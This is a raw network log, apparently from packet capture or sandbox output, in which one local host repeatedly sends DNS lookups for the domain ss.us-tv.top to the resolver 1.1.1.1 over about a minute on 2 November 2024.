Nov 2, 2024 03:56:54.367165089 CET	192.168.2.15	1.1.1.1	0x3bf1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:55.381351948 CET	192.168.2.15	1.1.1.1	0xcaac	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:55.383619070 CET	192.168.2.15	1.1.1.1	0x5034	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:55.390753984 CET	192.168.2.15	1.1.1.1	0x5034	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:55.473938942 CET	192.168.2.15	1.1.1.1	0xcaac	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:56.491914034 CET	192.168.2.15	1.1.1.1	0x82ec	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:56.494548082 CET	192.168.2.15	1.1.1.1	0xac2e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:56.499330997 CET	192.168.2.15	1.1.1.1	0x82ec	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:56.501812935 CET	192.168.2.15	1.1.1.1	0xac2e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:57.519509077 CET	192.168.2.15	1.1.1.1	0x1cd8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:57.519645929 CET	192.168.2.15	1.1.1.1	0x562f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:57.607991934 CET	192.168.2.15	1.1.1.1	0x562f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:57.608352900 CET	192.168.2.15	1.1.1.1	0x1cd8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:58.627624035 CET	192.168.2.15	1.1.1.1	0xba8d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:58.630050898 CET	192.168.2.15	1.1.1.1	0x9403	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:58.634474039 CET	192.168.2.15	1.1.1.1	0xba8d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:58.955482006 CET	192.168.2.15	1.1.1.1	0x9403	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:56:59.972291946 CET	192.168.2.15	1.1.1.1	0x7b6c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:59.972960949 CET	192.168.2.15	1.1.1.1	0xeb70	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:00.061438084 CET	192.168.2.15	1.1.1.1	0xeb70	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:00.299536943 CET	192.168.2.15	1.1.1.1	0x7b6c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:01.318387985 CET	192.168.2.15	1.1.1.1	0x30ad	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:01.318727016 CET	192.168.2.15	1.1.1.1	0x1f8a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:01.408663034 CET	192.168.2.15	1.1.1.1	0x30ad	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:01.415254116 CET	192.168.2.15	1.1.1.1	0x1f8a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:02.442219019 CET	192.168.2.15	1.1.1.1	0xbe03	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:02.442292929 CET	192.168.2.15	1.1.1.1	0x469d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:02.449476957 CET	192.168.2.15	1.1.1.1	0xbe03	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:02.740288973 CET	192.168.2.15	1.1.1.1	0x469d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:02.752079964 CET	192.168.2.15	1.1.1.1	0x469d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.397020102 CET	192.168.2.15	1.1.1.1	0x7802	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.397425890 CET	192.168.2.15	1.1.1.1	0x772a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:04.485491991 CET	192.168.2.15	1.1.1.1	0x7802	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.490967035 CET	192.168.2.15	1.1.1.1	0x772a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.506309986 CET	192.168.2.15	1.1.1.1	0xa548	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:05.507908106 CET	192.168.2.15	1.1.1.1	0x58c7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.515100956 CET	192.168.2.15	1.1.1.1	0x58c7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.598562956 CET	192.168.2.15	1.1.1.1	0xa548	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.613071918 CET	192.168.2.15	1.1.1.1	0xd0ad	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:06.613120079 CET	192.168.2.15	1.1.1.1	0x1429	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.705306053 CET	192.168.2.15	1.1.1.1	0x1429	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.706170082 CET	192.168.2.15	1.1.1.1	0xd0ad	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.721282005 CET	192.168.2.15	1.1.1.1	0x8f7e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.721848011 CET	192.168.2.15	1.1.1.1	0x5b53	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:07.728051901 CET	192.168.2.15	1.1.1.1	0x8f7e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.734628916 CET	192.168.2.15	1.1.1.1	0x8f7e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.818114042 CET	192.168.2.15	1.1.1.1	0x5b53	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:08.906095982 CET	192.168.2.15	1.1.1.1	0xd7c6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:08.906430006 CET	192.168.2.15	1.1.1.1	0x1fa6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:08.998692989 CET	192.168.2.15	1.1.1.1	0xd7c6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:08.999548912 CET	192.168.2.15	1.1.1.1	0x1fa6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:10.016782045 CET	192.168.2.15	1.1.1.1	0x9b17	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:10.017806053 CET	192.168.2.15	1.1.1.1	0xc880	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:10.024015903 CET	192.168.2.15	1.1.1.1	0x9b17	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:10.024786949 CET	192.168.2.15	1.1.1.1	0xc880	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.042428970 CET	192.168.2.15	1.1.1.1	0x91ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:11.042721033 CET	192.168.2.15	1.1.1.1	0x68bf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.049998045 CET	192.168.2.15	1.1.1.1	0x68bf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.331392050 CET	192.168.2.15	1.1.1.1	0x91ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.348680973 CET	192.168.2.15	1.1.1.1	0x5f71	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:12.350573063 CET	192.168.2.15	1.1.1.1	0xc230	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.357598066 CET	192.168.2.15	1.1.1.1	0xc230	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.440493107 CET	192.168.2.15	1.1.1.1	0x5f71	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:12.447105885 CET	192.168.2.15	1.1.1.1	0x5f71	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:13.619291067 CET	192.168.2.15	1.1.1.1	0x33cd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:13.620670080 CET	192.168.2.15	1.1.1.1	0xcd1a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:13.711522102 CET	192.168.2.15	1.1.1.1	0x33cd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:13.712312937 CET	192.168.2.15	1.1.1.1	0xcd1a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:14.730096102 CET	192.168.2.15	1.1.1.1	0xe4ec	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:14.735378027 CET	192.168.2.15	1.1.1.1	0x754a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:14.741942883 CET	192.168.2.15	1.1.1.1	0x754a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:14.823432922 CET	192.168.2.15	1.1.1.1	0xe4ec	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:15.109344006 CET	192.168.2.15	1.1.1.1	0x754a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:15.113511086 CET	192.168.2.15	1.1.1.1	0x8250	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:15.205332994 CET	192.168.2.15	1.1.1.1	0x8250	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:16.221532106 CET	192.168.2.15	1.1.1.1	0x645f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:16.222745895 CET	192.168.2.15	1.1.1.1	0x514c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:16.228799105 CET	192.168.2.15	1.1.1.1	0x645f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:16.229615927 CET	192.168.2.15	1.1.1.1	0x514c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:16.236143112 CET	192.168.2.15	1.1.1.1	0x514c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:17.368758917 CET	192.168.2.15	1.1.1.1	0xc98	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:17.369550943 CET	192.168.2.15	1.1.1.1	0x704f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:17.376130104 CET	192.168.2.15	1.1.1.1	0xc98	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:17.679279089 CET	192.168.2.15	1.1.1.1	0x704f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:17.685966969 CET	192.168.2.15	1.1.1.1	0x704f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:18.849318027 CET	192.168.2.15	1.1.1.1	0x9d03	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:18.849405050 CET	192.168.2.15	1.1.1.1	0xf16c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:18.856643915 CET	192.168.2.15	1.1.1.1	0x9d03	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:19.174457073 CET	192.168.2.15	1.1.1.1	0xf16c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.189371109 CET	192.168.2.15	1.1.1.1	0x6306	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.191118002 CET	192.168.2.15	1.1.1.1	0x7743	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:20.431179047 CET	192.168.2.15	1.1.1.1	0x6306	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.513660908 CET	192.168.2.15	1.1.1.1	0x7743	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.531697989 CET	192.168.2.15	1.1.1.1	0x4864	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.531920910 CET	192.168.2.15	1.1.1.1	0x3913	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:21.619872093 CET	192.168.2.15	1.1.1.1	0x4864	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.625036955 CET	192.168.2.15	1.1.1.1	0x3913	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:22.647269964 CET	192.168.2.15	1.1.1.1	0x35bc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:22.647552013 CET	192.168.2.15	1.1.1.1	0x83ae	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:22.654336929 CET	192.168.2.15	1.1.1.1	0x35bc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:22.654473066 CET	192.168.2.15	1.1.1.1	0x83ae	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:23.670420885 CET	192.168.2.15	1.1.1.1	0x7e65	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:23.670855045 CET	192.168.2.15	1.1.1.1	0xb0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:23.760020018 CET	192.168.2.15	1.1.1.1	0x7e65	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:23.762593985 CET	192.168.2.15	1.1.1.1	0xb0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.780746937 CET	192.168.2.15	1.1.1.1	0x63cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:24.782165051 CET	192.168.2.15	1.1.1.1	0x86af	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.789201975 CET	192.168.2.15	1.1.1.1	0x86af	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.874671936 CET	192.168.2.15	1.1.1.1	0x63cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:25.891870022 CET	192.168.2.15	1.1.1.1	0x7a40	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:25.892750025 CET	192.168.2.15	1.1.1.1	0x7553	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:25.899756908 CET	192.168.2.15	1.1.1.1	0x7553	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:25.980562925 CET	192.168.2.15	1.1.1.1	0x7a40	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:27.000489950 CET	192.168.2.15	1.1.1.1	0xa048	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:27.004390001 CET	192.168.2.15	1.1.1.1	0xe9b2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:27.011761904 CET	192.168.2.15	1.1.1.1	0xe9b2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:27.093626022 CET	192.168.2.15	1.1.1.1	0xa048	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.110464096 CET	192.168.2.15	1.1.1.1	0x94bb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.110517979 CET	192.168.2.15	1.1.1.1	0xbda5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:28.117455006 CET	192.168.2.15	1.1.1.1	0xbda5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:28.118096113 CET	192.168.2.15	1.1.1.1	0x94bb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.135164022 CET	192.168.2.15	1.1.1.1	0xbda5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:29.977797031 CET	192.168.2.15	1.1.1.1	0x5069	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:29.982441902 CET	192.168.2.15	1.1.1.1	0x2e54	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:29.985182047 CET	192.168.2.15	1.1.1.1	0x5069	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:29.989933968 CET	192.168.2.15	1.1.1.1	0x2e54	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:31.004812956 CET	192.168.2.15	1.1.1.1	0x1412	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:31.005300999 CET	192.168.2.15	1.1.1.1	0xa08a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:31.101545095 CET	192.168.2.15	1.1.1.1	0xa08a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:31.319256067 CET	192.168.2.15	1.1.1.1	0x1412	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:32.333403111 CET	192.168.2.15	1.1.1.1	0x977c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:32.335347891 CET	192.168.2.15	1.1.1.1	0x53a0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:32.340385914 CET	192.168.2.15	1.1.1.1	0x977c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:32.342363119 CET	192.168.2.15	1.1.1.1	0x53a0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:32.349016905 CET	192.168.2.15	1.1.1.1	0x53a0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:33.485954046 CET	192.168.2.15	1.1.1.1	0x4308	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:33.491792917 CET	192.168.2.15	1.1.1.1	0x2775	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:33.492969036 CET	192.168.2.15	1.1.1.1	0x4308	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:33.499193907 CET	192.168.2.15	1.1.1.1	0x2775	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:34.518466949 CET	192.168.2.15	1.1.1.1	0xa919	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:34.518687010 CET	192.168.2.15	1.1.1.1	0x3eeb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:34.525512934 CET	192.168.2.15	1.1.1.1	0xa919	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:34.525917053 CET	192.168.2.15	1.1.1.1	0x3eeb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.543205976 CET	192.168.2.15	1.1.1.1	0x74c9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.543477058 CET	192.168.2.15	1.1.1.1	0x3592	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:35.550378084 CET	192.168.2.15	1.1.1.1	0x74c9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.550537109 CET	192.168.2.15	1.1.1.1	0x3592	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:36.565052032 CET	192.168.2.15	1.1.1.1	0x808b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:36.565855980 CET	192.168.2.15	1.1.1.1	0xfa8f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:36.879839897 CET	192.168.2.15	1.1.1.1	0x808b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:36.879901886 CET	192.168.2.15	1.1.1.1	0xfa8f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:36.886998892 CET	192.168.2.15	1.1.1.1	0x808b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:38.060075998 CET	192.168.2.15	1.1.1.1	0xea3e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:38.061444998 CET	192.168.2.15	1.1.1.1	0xd543	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:38.068512917 CET	192.168.2.15	1.1.1.1	0xd543	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:38.374650002 CET	192.168.2.15	1.1.1.1	0xea3e	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:39.390638113 CET	192.168.2.15	1.1.1.1	0xb46b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:39.393663883 CET	192.168.2.15	1.1.1.1	0x7cb6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:39.400559902 CET	192.168.2.15	1.1.1.1	0x7cb6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:39.632721901 CET	192.168.2.15	1.1.1.1	0xb46b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:40.651065111 CET	192.168.2.15	1.1.1.1	0xb451	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:40.657397985 CET	192.168.2.15	1.1.1.1	0xe138	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:40.658366919 CET	192.168.2.15	1.1.1.1	0xb451	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:40.747724056 CET	192.168.2.15	1.1.1.1	0xe138	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.764950991 CET	192.168.2.15	1.1.1.1	0x5162	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.765852928 CET	192.168.2.15	1.1.1.1	0xdecc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:41.772099972 CET	192.168.2.15	1.1.1.1	0x5162	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.772993088 CET	192.168.2.15	1.1.1.1	0xdecc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:42.790522099 CET	192.168.2.15	1.1.1.1	0x65ec	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:42.792483091 CET	192.168.2.15	1.1.1.1	0x5230	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:42.802474976 CET	192.168.2.15	1.1.1.1	0x5230	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:43.110758066 CET	192.168.2.15	1.1.1.1	0x65ec	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:44.129753113 CET	192.168.2.15	1.1.1.1	0x27cd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:44.129995108 CET	192.168.2.15	1.1.1.1	0x94fd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:44.137624979 CET	192.168.2.15	1.1.1.1	0x27cd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:44.137643099 CET	192.168.2.15	1.1.1.1	0x94fd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:45.153408051 CET	192.168.2.15	1.1.1.1	0xe3aa	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:45.156030893 CET	192.168.2.15	1.1.1.1	0x1ce5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:45.160468102 CET	192.168.2.15	1.1.1.1	0xe3aa	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:45.469933987 CET	192.168.2.15	1.1.1.1	0x1ce5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:45.476691008 CET	192.168.2.15	1.1.1.1	0x1ce5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.611462116 CET	192.168.2.15	1.1.1.1	0xcb92	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:46.611668110 CET	192.168.2.15	1.1.1.1	0x43d5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.618840933 CET	192.168.2.15	1.1.1.1	0x43d5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.703242064 CET	192.168.2.15	1.1.1.1	0xcb92	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:46.709902048 CET	192.168.2.15	1.1.1.1	0xcb92	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:48.087066889 CET	192.168.2.15	1.1.1.1	0x182b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:48.089771032 CET	192.168.2.15	1.1.1.1	0x274f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:48.094079971 CET	192.168.2.15	1.1.1.1	0x182b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:48.096735954 CET	192.168.2.15	1.1.1.1	0x274f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:49.114105940 CET	192.168.2.15	1.1.1.1	0x3e06	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
